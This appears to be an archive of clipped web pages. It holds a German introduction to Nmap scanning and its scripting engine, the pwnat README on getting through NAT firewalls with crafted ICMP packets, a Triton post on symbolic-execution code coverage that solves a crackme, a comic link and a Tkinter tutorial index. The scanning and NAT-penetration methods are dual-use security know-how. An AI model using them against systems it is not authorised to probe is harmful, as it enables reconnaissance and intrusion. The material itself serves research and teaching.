am Freitag, 7. Mai 2010  
von Marc Ruef

  * Teil 1: Einführung
  * Teil 2: Derivatives Plugin eines Portscan
  * Teil 3: Komplexes Skript mit Version Info
  * Teil 4: Netzwerkkommunikationen
  * Teil 5: HTTP-Kommunikationen
  * Teil 6: Application Fingerprinting selber implementieren
  * Teil 7: Portunabhängige Analysen

Nmap steht für _Network Mapper_. Hierbei handelt es sich um ein quelloffenes
Netzwerkutility, welches ursprünglich als Portscanner konzipiert wurde. Durch
einen simplen Aufruf wie `nmap www.scip.ch` lassen sich die offenen Ports am
entsprechenden Zielsystem identifizieren. Durch unterschiedliche Schalter wie
`-sT`, `-sS` und `-sU` können hierfür verschiedene Scan-Techniken verwenden
werden:

[code]

    C:\Dokumente und Einstellungen\maru>nmap -sS 192.168.0.1
    
    	
[/code]

Starting Nmap 5.21 \( http://nmap.org \) at 2010-03-24 10:33 Westeuropõische
Normalzeit  
Nmap scan report for 192.168.0.1  
Host is up \(0.013s latency\).  
Not shown: 999 filtered ports  
PORT STATE SERVICE  
80/tcp open http  
MAC Address: 00:1E:58:89:18:B2 \(D-Link\)

Nmap done: 1 IP address \(1 host up\) scanned in 4.98 seconds

Erweiterungen in der Software haben zusätzliche Möglichkeiten zur
automatisierten Auswertung von Zielsystemen eingeführt. So lässt sich
beispielsweise mit dem Schalter `-O` ein OS-Fingerprinting, bei dem das am
Zielsystem eingesetzte Betriebssystem ermittelt wird, durchführen. Und mit
`-sV` werden als offen identifizierte Ports einem _Application Mapping_
\(Identifikation des dargebotenen Anwendungsprotokolls\), einem _Application
Fingerprinting_ \(Identifikation des eingesetzten Produkts\) und manchmal
einer zusätzlichen _Auswertung_ unterzogen.

Eine der grössten Erweiterungen bestand in der Einführung der Nmap Scripting
Engine \(NSE\). Durch das Einbinden dedizierter Plugins können während der
Laufzeit die von nmap zusammengetragenen Informationen ausgewertet,
zusätzliche Tests initiiert und diese dokumentiert werden. zur Umsetzung von
NSE-Skripten wird die imperative Programmiersprache Lua verwendet. Nachfolgend
ein typisches Beispiel, wie mit dem Aktivieren der Script-Engine durch `-sC`
die zusätzlichen Tests auf einem Webserver eingesetzt werden:

[code]

    C:\Dokumente und Einstellungen\maru>nmap -sS -sV -sC www.scip.ch -p 80
    
    	
[/code]

Starting Nmap 5.21 \( http://nmap.org \) at 2010-03-24 11:10 Westeuropõische
Normalzeit  
Nmap scan report for www.scip.ch \(192.168.0.10\)  
Host is up \(0.0019s latency\).  
rDNS record for 192.168.0.10: www.scip.ch  
PORT STATE SERVICE VERSION  
80/tcp open http Apache httpd | robots.txt: has 6 disallowed entries | /\_img/ /\_thm/ /vuldb/images/ /cgi-bin/ /tmp/ |\_\*index.html |\_http-favicon: |\_html-title: Sicherheit ist unser Gesch\xE4ft\! • scip AG
Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .  
Nmap done: 1 IP address \(1 host up\) scanned in 8.03 seconds

Dank NSE ist nmap weitaus mehr, als _nur_ ein Portscanner. Wir benutzen bei
unseren Security Scans eigene NSE-Skripte, um einen moderierbaren
Vulnerability Scanner zu realisieren. Hierfür schreiben wir einzelne NSE-
Skripte, die eine erweiterte Auswertung der Zielsystem vornehmen. Als Resultat
werden hauptsächlich gefundene Schwachstellen und Details zu diesen
dokumentiert. Diese Resultate parsen wir in einem weiteren Schritt in eine
Datenbank, in der wir sodann die Moderation der Daten vornehmen können. Durch
die computergestützte Analyse unter Zuhilfenahme unseres zentralen
Expertensystems können wir damit unsere Prüfungen effizienter und
zuverlässiger gestalten.

Grundsätzlich wird der Schalter `-sC` verwendet, um einen _Script-Scan_
einzuleiten. Innerhalb eines Skripts kann über das Feld `categories` eine
Zuweisung unterschiedlicher Kategorien erfolgen. Diese werden in der unten
abgebildeten Tabelle aufgelistet. Durch den Schalter `--script` lassen sich
sodann Skripte aus einzelnen Kategorien oder spezifischen Unterverzeichnissen
bzw. einzelne Skripte separat ausführen. Einige Skripte greifen auf dynamische
Argumente zurück, die bei der Programmausführung durch den Schalter `--script-
args` übergeben werden können.

Skript-Kategorie | Beschreibung   
---|---  
auth |  Ermitteln von Authentisierungs-Credentials \(z.B. Bruteforce\)   
default |  Standard-Skripte, die beim Aufruf von `-sC` ausgeführt werden   
discovery |  Auswertung zugänglicher Dienste \(z.B. Titel eines HTML-Dokuments oder SNMP-Einträge\)   
external |  Skripte, die zwecks Weiterverarbeitung Daten an externe Dienste schicken \(z.B. whois\)   
intrusive |  Intrusive Skripte, die das Zielsystem \(negativ\) beeinträchtigen könnten \(z.B. hohe CPU-Auslastung\)   
malware |  Überprüfung der Infektion von Malware \(Viren und Würmer\)   
safe |  Defensive Skripte, die keine intrusiven und destriktiven Zugriffe durchführen   
version |  Erweiterung zum Fingerprinting mit dem Schalter `-sV`  
vuln |  Identifikation spezifischer Verwundbarkeiten \(ähnlich einem Vulnerability Scanner\)   
Im Rahmen dieser mehrteiligen Artikelserie werden wir verschiedene Techniken
zur Implementierung und Optimierung von NSE-Skripten diskutieren. Im zweiten
Teil werden wir _ein erstes Plugin_ schreiben. Dieses wird allgemeine
Informationen des durch nmap durchführten Portscans _weiterverwenden_ , um
zusätzliche Details zu den Resultaten auszugeben. Anhand dieses Prozesses soll
das programmiertechnische Prinzip von NSE-Skripten illustriert werden.

Links:

  * http://nmap.org
  * http://nmap.org/book/nse-usage.html\#nse-cmd-line-args
  * http://nmap.org/book/nse.html
  * http://nmap.org/book/osdetect.html
  * http://nmap.org/book/port-scanning.html
  * http://nmap.org/book/vscan.html
  * http://www.computec.ch/news.php?item.327
  * http://www.lua.org/

# pwnat - NAT to NAT client-server communication

**Created:**| _11/6/2010 5:42:02 PM_  
---|---  
**Updated:**| _11/6/2010 5:42:02 PM_  
**Author:**| __  
**Tags:**| _network-security Lab-Setup projects_  
  

# pwnat

[/code]

[code]

## DESCRIPTION

[code]

        _pwnat_ , pronounced "poe-nat", is a tool that allows any
        number of clients behind NATs to communicate with a
        server behind a separate NAT with *no* port forwarding
        and *no* DMZ setup on any routers in order to directly
        communicate with each other. The server does not need
        to know anything about the clients trying to connect.
    
        **Simply put, this is a proxy server that works behind a NAT,
        even when the client is behind a NAT, without any 3rd party.**
    
        Read the paper, "Autonomous NAT Traversal", joint work with
        Christian Grothoff, Nathan S. Evans, and Andreas Müller
        published by IEEE at the IEEE P2P'10 Conference (bib, pdf)
    
        There is no middle man, no proxy, no 3rd party,
        no UPnP/STUN/ICE required, no spoofing, and no DNS tricks.
    
        More importantly, the client can then connect to any
        host or port on any remote host or to a fixed host and
        port decided by the server.
    
        pwnat is based off of the UDP tunneling software by
        Daniel Meekins, udptunnel, and my original chownat.
    
    
[/code]

## DOWNLOAD

[code]

        _pwnat_ will work on most *nix operating systems.
        Tested on Linux and OS X.
    
        **v0.3-beta** , released 04/07/2010
                download source here
    
    
[/code]

## SYNOPSIS

[code]

    usage: ./pwnat <-s | -c> <args>
    
      -c    client mode
        <args>: [local ip] <local port> <proxy host> [proxy port (def:2222)] <remote host> <remote port>
    
      -s    server mode
        <args>: [local ip] [proxy port (def:2222)] [[allowed host]:[allowed port] ...]
    
      -6    use IPv6
      -v    show debug output (up to 2)
      -h    show help and exit
    
    Example usage below.
    
    
[/code]

## FAQ

[code]

        **Ok, so does this really work?**
            Yes. Try it!
    
        **I 'm confused. This can't work.**
            You should be, and it does work.
    
        **But it can 't. My NAT blocks incoming packets and so will the other.**
            I know. 
    
        **But how?!**
            Great question! I thought you'd never ask.
            Look below at **HOW DOES IT WORK?**
    
        **Does this use DNS for anything?**
            No.
    
        **Do I need to setup port forwarding or a DMZ on either end?**
            No.
    
        **Is there some sort of proxy or 3rd party that tunnels information between
        the two NATs?**
            No. The connection is direct, client to server.
    
        **Will this work behind my corporate NAT and firewall?**
            This will work behind many NATs and firewalls, but not all.
    
        **What uses does this have?**
            This will allow you to tunnel any service that you want to run (http,
            ssh, quake server, IRC, ftp, etc.) through your NAT, or proxy into
            other remote servers. 
    
        **What if one or both ends aren 't behind a NAT?**
            Everything will work just as well. You can use pwnat to tunnel TCP
            payload over UDP if you wish; no NATs are necessary.
    
        **Does the server have to specify the client host?**
            No! The server doesn't know the client IP address until the client
            attempts to connect, penetrating the NAT using this unique method.
    
    
[/code]

## HOW DOES IT WORK?

[code]

        My method of penetrating NATs is two-fold which I will describe below.
    
        In order for the full tunnel to be established, the client side needs to
        know the public IP address of the server, and the server needs to learn
        the public IP address of the client.
    
        However, in a true client-server model, the server doesn't know the client IP
        until the client connects, and NATs will normally drop unknown incoming packets.
        In pwnat, the server also does not need to know the client IP address.
    
        **Here is how the pwnat server learns the IP address of the client:**
        I get around this by having the client "pretend" to be a random hop on
        the Internet. I'm essentially using the same technology a traceroute uses
        to detect hops on the Internet, but I'm doing the reverse in order to
        penetrate the NAT.
    
        Specifically, when the server starts up, it begins sending fixed ICMP echo
        request packets to the fixed address 3.3.3.3. We expect that these packets
        won't be returned.
    
        Now, 3.3.3.3 is *not* a host we have any access to, nor will we end up spoofing
        it. Instead, when a client wants to connect, the client (which knows the server
        IP address) sends an ICMP Time Exceeded packet to the server. The ICMP packet 
        includes the "original" fixed packet that the server was sending to 3.3.3.3.
    
        Why? Well, we're pretending to be a hop on the Internet, politely telling the
        server that its original "ICMP echo request" packet couldn't be delivered.
        Your NAT, being the gapingly open device it is, is nice enough to notice that
        the packet *inside* the ICMP time exceeded packet matches the packet the server
        sent out. It then forwards the ICMP time exceeded back to the server behind
        the NAT, *including* the full IP header from the client, thus allowing the
        server to know what the client IP address is!
    
        **Server (1.2.3.4):** ICMP Echo Request -> 3.3.3.3
        ...
        **Server (1.2.3.4):** ICMP Echo Request -> 3.3.3.3
        ...
        **Server (1.2.3.4):** ICMP Echo Request -> 3.3.3.3
        ...
        **Client (6.7.8.9)** : ICMP Time Exceeded (includes ICMP Echo Request to 3.3.3.3) -> 1.2.3.4
        **Server 's NAT:** Sees server's Echo Request in client's Time Exceeded packet,
                  sends entire packet to server because it matches server's outgoing packet
    
        Don't believe me? Just traceroute any host behind your NAT. You'll notice
        incoming packets coming in from random IP addresses your router knows
        nothing about. Your router knows to send those back to you, rather than another
        client on your network, based off of the data inside the ICMP time exceeded packet.
    
        **Now, the server has only learned the client IP address. We still have no
        method to send any additional data. For the full communication, we use the 
        same method used in my previous software,chownat, to penetrate both NATs.**
    
        Example of a client behind a NAT talking to a machine NOT behind a NAT:
        Machine A -> NAT A -> net -> quake server
    
        Machine A sends a UDP packet to quake server, opening a "session".
        NAT A sees this and says:
        "_If any UDP packets come back soon with the same host and port info,
        I 'm routing it to machine A._"
        Quake server sends UDP packets back, hits NAT A, and NAT A seeing the right
        hosts and ports, sends it to machine A. Machine A and quake server are now
        able to communicate without any problem.
    
        **Now here is how pwnat works now that client and server know each others IP.**
        Goal is: Machine A (ssh client) -> NAT A -> net -> NAT B -> Machine B (ssh server)
    
        When you start up the pwnat server on machine B, it slowly fires off
        UDP packets to machine A. Of course, NAT A is not expecting these so it
        drops every one of them. Machine B does not stop.
    
        Once you begin the pwnat client on machine A, it begins sending UDP
        packets to machine B. **Note:** pwnat defaults source and destination
        ports to 2222. Any unprivileged user can set UDP source and dest ports.
        Normally the UDP packets that machine A is sending to NAT B would get dropped.
        **However** , since machine B is sending similar packets OUT, NAT B assumes
        these are **responses** and lets them back in. Once machine B sees these packets,
        it sends handshake packets back to machine A. These packets will not get
        dropped by NAT A because of the same reason: NAT A sees packets going out, and
        the packets coming back to the NAT look like responses to the ones going out.
    
        Finally, both sides are fully communicating over UDP, allowing protocols that
        run over TCP to tunnel through.
        **Note:** There is a keep-alive process on the pwnat server and client that
        always keeps the UDP "session" active. The packets it sends have a 0 byte
        payload and are only sent when the client is not sending data out. Otherwise,
        the fastest it will possibly send the keep-alive packets is one packet every 5
        seconds. If any other type of data is traveling through the tunnel, no
        keep-alive packets will be transmitted.
    
    
[/code]

# Blog post - Code coverage using a dynamic symbolic execution

**Created:**| _8/15/2016 1:45:16 PM_  
---|---  
**Updated:**| _8/15/2016 1:45:16 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Code coverage using a dynamic symbolic execution

Oct 12, 2015 by Romain Thomas and Jonathan Salwan

* * *
**1 - Abstract**  
**2 - Code coverage and DSE**  
**3 - Perform code coverage using Triton**  
3.1 - Algorithm  
3.2 - Implementation  
3.3 - Further improvement  
**4 - Conclusion**  

### 1 - Abstract

Code coverage is mainly used in the vulnerability research area. The goal is
to generate inputs which will reach different parts of the program's code.
Then, if an input makes the program crash, we check if the crash can be
exploited or not. A lot of methods exist to perform code coverage - like
random testing or mutation generation - but in this short blog post, we will
focus on code coverage using a dynamic symbolic execution \(DSE\) and explain
why it's not a trivial task. Please, note that covering up the code doesn't
mean finding every possible bugs. Some bugs do not make the program crash and
this talk from slides 35 to 38 explains why. However, if we perform model
checking associated with code coverage, it starts to get interesting =\).

### 2 - Code coverage and DSE

Note that unlike a SSE \(static symbolic execution\), a DSE is applied on a
trace and can discover new branches only if these ones are reached during the
execution. To go through another path, we must solve one of the last branch
constraints discovered from the last trace. Then, we repeat this operation
until all branches are taken.

For example, let's assume a program **_P_** which takes an input called
**_I_** , where **_I_** may be a model **_M_** or a random seed **_R_**. An
execution is denoted **_P\(I\)_** and returns a set of constraints **_PC_**.
All **_φ i_** represent basic blocks and **_π i_** represent the branches
constraint. A model **_M i_** is \(at least\) one valid solution of a
constraint **_π i_**. For example, **_M 1 = Solution\(¬π1_** **∧** **_π
2\)_**. To discover all paths, we maintain a worklist denoted **_W_** which is
a set of **_M_**.

At the first iteration, **_I = R_** , **_W =_** **∅** and **_P\(I\) → PC_**.
Then, **∀ _π_ ∈ _PC, W = W_ ∪ \{_Solution\(π\)_\}** and we execute once again
the program such that **∀ _M_ ∈ _W, P\(M\)_**. When a model **_M_** is
injected in the program's input, it is deleted from the worklist **_W_**.
Then, we repeat this operation until **_W_** is empty.

<img src='img/Temp2_1085.png' width='80%' height='279' alt='DSE and code
coverage' />

Symbolic code coverage implies some pros and cons. For us, it is really useful
when we work on a obfuscated binary. Indeed, applying symbolic coverage can
detect opaque predicates or unreachable code but also repair a flattened graph
\(we will release soon another blog post about Triton and o-llvm\). The worst
con about the symbolic execution is when your expressions are too complexes
which implies a timeout from the SMT solver or an impressive memory
consumption \(in the past, our bigger symbolic expression has consumed ~450 Go
of RAM before timeout\). This scenario mainly occurs when we analyse real
large binaries or obfuscated binaries which contain polynomial functions. Some
of these cons may partially be fixed by optimizing symbolic expressions but
this subject will be another story to come later :\).

### 3 - Perform code coverage using Triton

Since the version `v0.1 build 633` \(commit 474fe2\), Triton integrates
everything we need to perform code coverage. These new features allow us to
deal and compute the SMT2-Lib representation over an AST \- More information
about that is available on this page. In the rest of the blog post, we will
focus on the design and the algorithm used to perform code coverage.

#### 3.1 - Algorithm

As an introduction \(and to not turn our brain upside down\), let assume this
following sample of code which comes from the samples directory.

[code]

    01. char *serial = "\x31\x3e\x3d\x26\x31";
    02. int check(char *ptr)
    03. {
    04.   int i = 0;
    05.   while (i < 5){
    06.     if (((ptr[i] - 1) ^ 0x55) != serial[i])
    07.       return 1;
    08.     i++;
    09.   }
    10.   return 0;
    11. }
    
[/code]

Basically, this function checks if the input is equal to `elite`, and returns
`0` if it is true, otherwise it returns `1`. The control flow graph of this
function is described below. It's an interesting first example, because to
cover all basic blocks we need to find the good input.

<img src='img/Temp2_1080.png' width='100%' height='698' alt='checks graph' />

We can see that only one variable can be controlled, the one located at the
address `rbp+var_18` which refers to the `argv[1]`'s pointer. The goal is to
reach all the basic blocks in the function **check** by computing the
constraints and using the snapshot engine until that every basic blocks are
reached. For instance, the constraint to reach the basic block located at the
address `0x4005C3` is `[rbp+var_4] > 4` but we do not control this variable
directly. In the other hand, the jump at the address `0x4005B0` depends on the
user input and this constraint can be solved by performing a symbolic
execution.

The algorithm which generalizes the previous idea is based on the Microsoft's
fuzzer algorithm \(SAGE\) and the next diagram represents our `check` function
with its constraints. The `start` and `end` nodes represent respectively the
function's prologue \(`0x40056D`\) and the function's epilogue \(`0x4005C8`\).

<img src='img/Temp2_1084.png' width='33%' height='373' alt='checks graph' />

Before the first execution, we know nothing about branches' constraints. So,
as explained in the previous chapter, we inject some random seeds to collect
the first **_PC_** and build our set **_W_**. The trace of the first execution
**_P\(I\)_** is represented by the basic blocks in blue.

This execution gives us our first path constraint **_P\(I\)_ → \(_π 0_ ∧ _¬π
1_\)**.

<img src='img/Temp2_1083.png' width='40%' height='373' alt='checks graph' />

Based on our first trace, we know that there are 2 branches **\(_π 0_ ∧ _¬π
1_\)** discovered and so 2 others undiscovered. To reach the basic bloc **_φ
3_**, we compute the negation of the first branch constraint. If and only if
the solution **_Solution\(¬π 0\)_** is SAT, we add the model to the worklist
**_W_**.

Same for **_φ 4_** such that **_W_** = **_W_** ∪ **\{****_Solution\(π 0_**
**∧** **_¬\(¬π 1\)\)_****\}**. Once all solutions have been generated and
models added to the worklist, we execute every models from the worklist.

<img src='img/Temp2_1081.png' width='100%' height='398' alt='checks graph' />

#### 3.2 - Implementation

One condition to perform code coverage, is to predict the next instruction
address when we are on a jump instruction. This condition is necessary to
build the path constraint.

We can not put a callback after a branch instruction because the `RIP`
register has already changed. As Triton creates semantics expressions for all
registers, the idea is to evaluate `RIP` when we are on a branch instruction.

In a first time, we have developed a _SMT evaluator_ to compute the `RIP` but
we saw a little bit later that Pin provides `IARG_BRANCH_TARGET_ADDR` and
`IARG_BRANCH_TAKEN` which can be used to know the next `RIP` values. With Pin,
computing the next address is very easy, nevertheless the _SMT evaluator_ was
useful to check instruction's semantics.

To perform the evaluation, we implemented the visitor pattern to transform the
SMT abstract syntax tree \(AST\) to a Z3 AST. This design can be used to
transform our SMT AST into any others representations.

The Z3 AST is easier to handle and can be evaluated or simplified with Z3 API.
The transformation is performed by src/smt2lib/z3AST.h and
src/smt2lib/z3AST.cpp.

* * *
We will now explain how the code coverage's tool works. Let's assume that
inputs come from command's line. Firstly, we have:

[code]

    160. def run(inputSeed, entryPoint, exitPoint, whitelist = []):
    161. ...
    175. if __name__=='__main__':
    176.   TritonExecution.run("bad !", 0x400480, 0x40061B, ["main", "check"]) # crackme_xor
    
[/code]

At line 176, we define the input seed `bad !` which is the first program's
argument \(`argv[1]`\). Then, we give the address from the beginning of the
code coverage \(**start block**\) - it's at this address that we will take a
snapshot. The third argument matches with the **end block** \- it's at this
address that we will restore the snapshot. Finally, we can set a whitelist to
avoid specific functions like library's functions, cryptographic's function
and so on.

[code]

    134. def mainAnalysis(threadId):
    135.
    136.    print "[+] In main"
    137.    rdi = getRegValue(IDREF.REG.RDI) # argc
    138.    rsi = getRegValue(IDREF.REG.RSI) # argv
    139.
    140.    argv0_addr = getMemValue(rsi, IDREF.CPUSIZE.QWORD)      # argv[0] pointer
    141.    argv1_addr = getMemValue(rsi + 8, IDREF.CPUSIZE.QWORD)  # argv[1] pointer
    142.
    143.    print "[+] In main() we set :"
    144.    od = OrderedDict(sorted(TritonExecution.input.dataAddr.items()))
    145.
    146.    for k,v in od.iteritems():
    147.        print "\t[0x%x] = %x %c" % (k, v, v)
    148.        setMemValue(k, IDREF.CPUSIZE.BYTE, v)
    149.        convertMemToSymVar(k, IDREF.CPUSIZE.BYTE, "addr_%d" % k)
    150.
    151.    for idx, byte in enumerate(TritonExecution.input.data):
    152.        if argv1_addr + idx not in TritonExecution.input.dataAddr: # Not overwrite the previous setting
    153.            print "\t[0x%x] = %x %c" % (argv1_addr + idx, ord(byte), ord(byte))
    154.            setMemValue(argv1_addr + idx, IDREF.CPUSIZE.BYTE, ord(byte))
    155.            convertMemToSymVar(argv1_addr + idx, IDREF.CPUSIZE.BYTE, "addr_%d" % idx)
    
[/code]

The next code being executed is the mainAnalysis callback, we inject values to
the inputs selected \(line 148, 154\) and we convert these inputs as symbolic
variables \(line 149, 155\).

All inputs selected are stored in a global variable called
`TritonExecution.input`. Then, we can begin the code exploration.

[code]

    58. if instruction.getAddress() == TritonExecution.entryPoint and not isSnapshotEnabled():
    59.        print "[+] Take Snapshot"
    60.        takeSnapshot()
    61.        return
    
[/code]

When we are at the entry point, we take a snapshot in order to replay code
exploration with a new input.

[code]

    52. if instruction.getAddress() == TritonExecution.entryPoint + 2:
    53.   TritonExecution.myPC = []                                  # Reset the path constraint
    54.   TritonExecution.input = TritonExecution.worklist.pop()     # Take the first input
    55.   TritonExecution.inputTested.append(TritonExecution.input)  # Add this input to the tested input
    56.   return
    
[/code]

We reset the path constraint \(line 53\) and we pop a new input from the
worklist.

[code]

    63. if instruction.isBranch() and instruction.getRoutineName() in TritonExecution.whitelist:
    64.
    65.   addr1 = instruction.getAddress() + 2                # Address next to this one
    66.   addr2 = instruction.getOperands()[0].getValue()     # Address in the instruction condition
    67.
    68.   # [PC id, address taken, address not taken]
    69.   if instruction.isBranchTaken():
    70.     TritonExecution.myPC.append([ripId, addr2, addr1])
    71.   else:
    72.     TritonExecution.myPC.append([ripId, addr1, addr2])
    73.
    74.   return
    
[/code]

This test above checks if we are on a branch instruction like \(jnz, jle ...\)
and if we are in a function which is into the _white list_. If so, we get the
two possible addresses \(addr1 and addr2\) and the effective address is
computed by `isBranchTaken()` \(line 69\).

Then, we store into the path constraint the `RIP` expression, the address
taken and the address not taken \(line 73-76\).

[code]

    81. if instruction.getAddress() == TritonExecution.exitPoint:
    82.  print "[+] Exit point"
    83.
    84.  # SAGE algorithm
    85.  # http://research.microsoft.com/en-us/um/people/pg/public_psfiles/ndss2008.pdf
    86.  for j in range(TritonExecution.input.bound, len(TritonExecution.myPC)):
    87.      expr = []
    88.      for i in range(0,j):
    89.          ripId = TritonExecution.myPC[i][0]
    90.          symExp = getFullExpression(getSymExpr(ripId).getAst())
    91.          addr = TritonExecution.myPC[i][1]
    92.          expr.append(smt2lib.smtAssert(smt2lib.equal(symExp, smt2lib.bv(addr,  64))))
    93.
    94.      ripId = TritonExecution.myPC[j][0]
    95.      symExp = getFullExpression(getSymExpr(ripId).getAst())
    96.      addr = TritonExecution.myPC[j][2]
    97.      expr.append(smt2lib.smtAssert(smt2lib.equal(symExp, smt2lib.bv(addr,  64))))
    98.
    99.
    100.      expr = smt2lib.compound(expr)
    101.      model = getModel(expr)
    102.
    103.      if len(model) > 0:
    104.          newInput = TritonExecution.input
    105.          newInput.setBound(j + 1)
    106.
    107.          for k,v in model.items():
    108.              symVar = getSymVar(k)
    109.              newInput.addDataAddress(symVar.getKindValue(), v)
    110.          print newInput.dataAddr
    111.
    112.          isPresent = False
    113.
    114.          for inp in TritonExecution.worklist:
    115.              if inp.dataAddr == newInput.dataAddr:
    116.                  isPresent = True
    117.                  break
    118.          if not isPresent:
    119.              TritonExecution.worklist.append(newInput)
    120.
    121.  # If there is input to test in the worklist, we restore the snapshot
    122.  if len(TritonExecution.worklist) > 0 and isSnapshotEnabled():
    123.      print "[+] Restore snapshot"
    124.      restoreSnapshot()
    125.
    126.  return
    
[/code]

The last step happens when we are on the **exit point**. Lines 84 to 120 are
the SAGE implementation. In few words, we browse the path constraints' list
and for each **PC** , we try to get the model which satisfies the negation. If
there is a valid model to reach the new target basic block, we add the model
into the worklist. Once all models are inserted into the worklist, we restore
the snapshot and we re-inject each model as input seed.

The full code can be found here and its execution on our example looks like
this:

[code]

    $ ./triton ./tools/code_coverage.py ./samples/crackmes/crackme_xor abc
    [+] Take Snapshot
    [+] In main
    [+] In main() we set :
            [0x7ffd5ef8254d] = 62 b
            [0x7ffd5ef8254e] = 61 a
            [0x7ffd5ef8254f] = 64 d
            [0x7ffd5ef82550] = 20
            [0x7ffd5ef82551] = 21 !
    loose
    [+] Exit point
    {140726196774221: 101}
    [+] Restore snapshot
    [+] In main
    [+] In main() we set :
            [0x7ffd5ef8254d] = 65 e
            [0x7ffd5ef8254e] = 61 a
            [0x7ffd5ef8254f] = 64 d
            [0x7ffd5ef82550] = 20
            [0x7ffd5ef82551] = 21 !
    loose
    [+] Exit point
    {140726196774221: 101, 140726196774222: 108}
    [+] Restore snapshot
    [+] In main
    [+] In main() we set :
            [0x7ffd5ef8254d] = 65 e
            [0x7ffd5ef8254e] = 6c l
            [0x7ffd5ef8254f] = 64 d
            [0x7ffd5ef82550] = 20
            [0x7ffd5ef82551] = 21 !
    loose
    [+] Exit point
    {140726196774221: 101, 140726196774222: 108, 140726196774223: 105}
    [+] Restore snapshot
    [+] In main
    [+] In main() we set :
            [0x7ffd5ef8254d] = 65 e
            [0x7ffd5ef8254e] = 6c l
            [0x7ffd5ef8254f] = 69 i
            [0x7ffd5ef82550] = 20
            [0x7ffd5ef82551] = 21 !
    loose
    [+] Exit point
    {140726196774224: 116, 140726196774221: 101, 140726196774222: 108, 140726196774223: 105}
    [+] Restore snapshot
    [+] In main
    [+] In main() we set :
            [0x7ffd5ef8254d] = 65 e
            [0x7ffd5ef8254e] = 6c l
            [0x7ffd5ef8254f] = 69 i
            [0x7ffd5ef82550] = 74 t
            [0x7ffd5ef82551] = 21 !
    loose
    [+] Exit point
    {140726196774224: 116, 140726196774225: 101, 140726196774221: 101, 140726196774222: 108, 140726196774223: 105}
    [+] Restore snapshot
    [+] In main
    [+] In main() we set :
            [0x7ffd5ef8254d] = 65 e
            [0x7ffd5ef8254e] = 6c l
            [0x7ffd5ef8254f] = 69 i
            [0x7ffd5ef82550] = 74 t
            [0x7ffd5ef82551] = 65 e
    Win
    [+] Exit point
    [+] Done !
    
[/code]

#### 3.3 - Further improvement

Currently, the evaluator is quite slow and we loose a lot of time to evaluate
expressions. One feature that should improve the evaluator speed is a SMT
simplifier. We plan to develop a passes system \(like LLVM\) to simplify the
SMT tree.

The goal is to register some expressions transformation rules before sending
expressions to the evaluator or the solver. For example, that's what miasm2
already does.

<img src='img/Temp2_1082.png' width='500' height='161' />

There are a lot of mini tricks to lighten symbolic expressions which are easy
to implement and really beneficial. For example, the transformation of the
expression **_rax1 = \(bvxor rax0 rax0\) → rax1 = \(\_ bv64 0\)_** will break
the `rax`'s symbolic expression chain.

### 4 - Conclusion

Although the code coverage using a symbolic resolution is a nice way to cover
a code without guessing the inputs, it's clearly not a trivial task. The paths
explosion implies the memory consumption and in several cases the expressions
are too complex to be computed but this method remains truly effective on
short parts of code.

**Free note** : To improve the symbolic coverage, it could be interesting to
deal with bits-flip/random seeds when expressions are too complex or to deal
with symbolic execution and abstract domains.

  

# Penny Arcade\! - A Cyclical Argument With A Literal Strawman

**Created:**| _2/19/2010 11:35:51 PM_  
---|---  
**Updated:**| _2/19/2010 11:36:10 PM_  
**Author:**| __  
**Tags:**| _bookmark LOLZ_  
  

**A Cyclical Argument With A Literal Strawman**  

<img src='img/Temp2_6199.jpg' alt='A Cyclical Argument With A Literal
Strawman' />

# Intro to programming with Python and Tkinter - PythonInfo Wiki

**Created:**| _5/13/2009 1:21:53 PM_  
---|---  
**Updated:**| _5/13/2009 1:22:01 PM_  
**Author:**| __  
**Tags:**| _python Tutorials_  
  

**Intro to programming with Python in Tkinter**  
Have you ever wanted to know how your application is programmed on the
computer. This lecture will show you how easy it is to program.

Aimed at beginner programmers or people that has no programming experience.
For you to watch this class, you must have python installed from python.org .
Lecture 2 will show you how to install and run python. This lecture assumes
that you already have python.

The python course series is designed to be short, fun, and concise. They are
10 minutes each with fun examples and easy instruction. If you want to learn
programming this is the way to go.

**Lecture 1: Why is python so cool???**  
In this lecture I will convince you that python will eventually take over the
world :\). Actually we will discuss how the class will be conducted and how
much fun we are going to have. This will be the last lecture I write.

**Lecture 2: How to download python**  
I will show you where you download python. If you found this page, chances are
that you already know how. I will also talk about different resources to help
you program python.

**Lecture 3: Your first python program**\(10min\)  
http://iamaracademy.com/subpages/pythonLect3.html  
Like all programming books, we kick off with a quick and simple non-hello
world application.  
**You will learn:**  _importing Tkinter library, create a simple list, create
a window, create a listbox, fill a listbox, parents of widgets_  
**Example Code** lecture3 example 1, lecture3 example 2  
  

**Lecture 4: Button are meant to be pushed**\(10min\)  
http://iamaracademy.com/subpages/pythonLect4.html  
When you press a button, your program will say "hi"  
**You will learn:**  _create a button, create a label, link up a button with
specific functions, the concept of functions, indentation of functions,
changing the foreground and background of widgets_  
**Example Code** lecture4 example 1, lecture4 example 2, lecture4 example 3,
lecture4 example 5  
  

**Lecture 5: Stealing is good in programming**\(10min\)  
http://iamaracademy.com/subpages/pythonLect5.html  
We will program something using other people's code :\)  
**Your will learn:**_How to program large programs, how to borrow other
people's code\(modules\), basic concepts to functions_  
**Example Code** lecture5 stacy.py 1, lecture5 chieh.py  
  

**Lecture 6: How to create anything in Tkinter**\(10min\)  
http://iamaracademy.com/subpages/pythonLect6.html  
The needed text is at http://ourmedia.org/node/6635  
We will learn how to create everything in the Tkinter library, windows,
buttons, listbox, entrybox, menus, etc.  
**You will learn:**_How to create any Tkinter widget, how to make stand alone
modules._  
**Example Code** lecture6\_chieh.py lecture6\_stacy.py

**Lecture 7: Now let's make them do something** \(10min\)  
http://iamaracademy.com/subpages/pythonLect7.html  
Now that we have learned how to create widgets, we need to tell them to do
something. In this lecture we will mainly focus on Entry boxes. We will create
an entry box, a button, and a listbox. When we press the button the program
will take the name in the entry and put them into the list.  

**You will learn:**  _insert text into a listbox, get text from Entry box,
changing the size of the window, controlling where the window pop up, delete
what's inside the entry box, controlling the padding between widgets_  
**Example Code** lecture7\_homework.py lecture7\_text.py

**Lecture 8: Let's make some decisions** \(7min\)  
http://iamaracademy.com/subpages/pythonLect8.html  
Learn how to use the if statements. Having a program that makes decisions for
us will make our life much easier and our programs more powerful. In this
program you will decide which girl we should go out with on a friday night and
which car we should buy. :\)  
**You will learn:** How to use if statements, examples are provided  
**Example Code** lecture8\_ifexample.py

**Lecture 9: Let's create a password system**\(11min\)  
http://iamaracademy.com/subpages/pythonLect9.html  
